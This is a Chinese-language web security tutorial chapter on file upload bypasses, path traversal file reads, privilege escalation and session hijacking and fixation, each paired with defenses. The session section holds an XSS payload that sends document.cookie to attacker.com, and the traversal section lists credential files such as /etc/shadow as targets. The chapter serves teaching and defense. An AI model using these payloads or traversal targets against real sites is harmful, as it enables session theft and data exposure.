文件与访问控制漏洞¶
4.1 文件上传漏洞¶
文件上传漏洞的评估核心是:攻击者能否上传可被服务器解析执行的脚本文件。防护不应只关注"扩展名是否为 jpg",而应从多个维度建立防线。
常见的绕过手法与防御对策
| 绕过手法 | 原理 | 防御方法 |
|---|---|---|
| 修改扩展名 | .php5、.phtml、.phar 同样可被 PHP 解析 |
白名单仅允许特定扩展名,且严格匹配大小写 |
| 大小写绕过 | 文件系统或 Web 服务器对 .Php 和 .php 同等处理 |
将文件名统一转换为小写后校验 |
| 双写绕过 | .phphpp 经后端过滤 php 后变为 .php |
过滤后再次校验最终扩展名 |
| %00 截断 | shell.php%00.jpg 旧版 PHP 解析为 .php |
升级 PHP,使用 pathinfo() 等安全函数 |
| MIME 伪造 | 修改 Content-Type: image/jpeg,实际内容是 PHP |
不仅校验 MIME,还需校验文件内容 |
| 图片马 | 在图片末尾追加 PHP 代码 | 对图片文件二次压缩/重绘,破坏嵌入的代码 |
| 解析漏洞 | Apache 从右向左解析 shell.php.jpg |
正确配置 SetHandler 和 FilesMatch |
| .htaccess 重写 | 上传 .htaccess 将当前目录所有文件解析为 PHP |
禁止上传 .htaccess,上传目录无执行权限 |
纵深防御策略:
1. 前端校验(不可信):仅用于提升用户体验,后端必须再次校验
2. 扩展名白名单:只允许业务需要的文件类型
3. 文件头魔术数字校验:PNG 以 89 50 4E 47 开头,JPEG 以 FF D8 开头
4. 重命名文件:上传后使用随机 UUID 作为文件名,去除原始扩展名
5. 存储目录隔离:上传目录与 Web 根目录分离,或设置上传目录无执行权限
6. 图片二次处理:使用 ImageMagick/GD 重新压缩图片,破坏嵌入的恶意代码
4.2 文件下载/读取漏洞¶
当应用提供文件下载功能且文件名由用户控制时,通过路径遍历符(../ 或 ..\)可能读取服务器上的任意文件。
常见目标文件
| 目标 | 路径 | 价值 |
|---|---|---|
| Linux 用户列表 | /etc/passwd |
获取用户名,用于后续爆破 |
| 密码哈希 | /etc/shadow(需 root 权限) |
破解密码 |
| 应用配置 | ../../../config/database.php |
数据库连接信息 |
| Web 配置 | ../../web.xml |
Java 应用的上下文配置 |
| 源代码 | ../../../app/controller/User.php |
审计发现更多漏洞 |
防御方法:
- 使用文件 ID 映射(数据库记录 file_id → real_path),用户只能看到 ID
- 使用 realpath() 解析绝对路径后校验是否在允许目录内
- 禁止路径中出现 .. 或绝对路径(如 /etc/passwd)
4.3 访问控制漏洞(越权)¶
越权漏洞的根本原因是服务端未校验当前用户是否有权限访问请求的资源。
横向越权——同级别的用户之间的资源访问
场景:用户 A 和用户 B 都是普通会员。用户 A 通过修改 URL 中的订单 ID,查看到了用户 B 的订单详情(包含收货地址、手机号)。
原因:订单查询接口只校验了"用户是否登录",未校验"订单是否属于当前用户"。
垂直越权——低权限用户访问高权限功能
场景:普通用户通过直接访问 /admin/user/delete?id=123,成功删除了其他用户。
原因:管理功能虽然在前端菜单中对普通用户隐藏,但后端接口未做权限校验。
防御原则:
1. 服务端强制校验:每一次请求都检查当前用户的身份和权限,不能依赖前端隐藏或 URL 保密
2. 数据归属校验:查询资源时加入 WHERE user_id = current_user_id 条件
3. 资源 ID 不可预测:使用 UUID 而非自增 ID,减少枚举可能性
4. RBAC 模型:基于角色的访问控制,明确定义每个角色可访问的资源和操作
4.4 会话管理漏洞¶
会话劫持(Session Hijacking)
攻击者获取用户的 Session ID 后,直接使用该 ID 冒充用户。获取 Session ID 的途径:
- XSS 窃取:<script>fetch('https://attacker.com/?c='+document.cookie)</script>
- 网络嗅探:未加密的 HTTP 流量中抓包获取 Cookie
- 暴力猜测:Session ID 生成算法弱(如基于时间戳),可预测
会话固定(Session Fixation)
攻击者先获取一个未认证的 Session ID,然后诱导用户使用该 Session ID 登录。登录后服务器将相同的 Session ID 标记为已认证,攻击者直接使用该 ID 获得认证会话。
攻击流程:
1. 攻击者访问网站,获得 Session ID:PHPSESSID=abc123
2. 构造钓鱼链接:https://site.com/login?PHPSESSID=abc123
3. 用户点击链接并登录
4. 服务器将 abc123 标记为已认证
5. 攻击者使用 PHPSESSID=abc123 访问,无需密码即登录成功
会话安全加固清单
| 措施 | 实现方式 | 防御效果 |
|---|---|---|
| HTTPS 全站 | 强制 TLS 1.2+ | 防止网络嗅探 |
| HttpOnly | Set-Cookie: ...; HttpOnly |
防止 XSS 窃取 Cookie |
| Secure | Set-Cookie: ...; Secure |
防止 HTTP 明文传输 |
| SameSite | Set-Cookie: ...; SameSite=Strict |
防止 CSRF |
| 登录后重生成 ID | session_regenerate_id(true) |
防御会话固定 |
| 定期过期 | 设置合理的 Session 超时时间(如 30 分钟无操作) | 减少被劫持后的利用窗口 |
| 绑定 IP/User-Agent | 服务端记录并校验 | 异常环境触发二次认证 |
总结¶
- 4.1 文件上传漏洞
- 4.2 文件下载/读取漏洞
- 4.3 访问控制漏洞(越权)
- 4.4 会话管理漏洞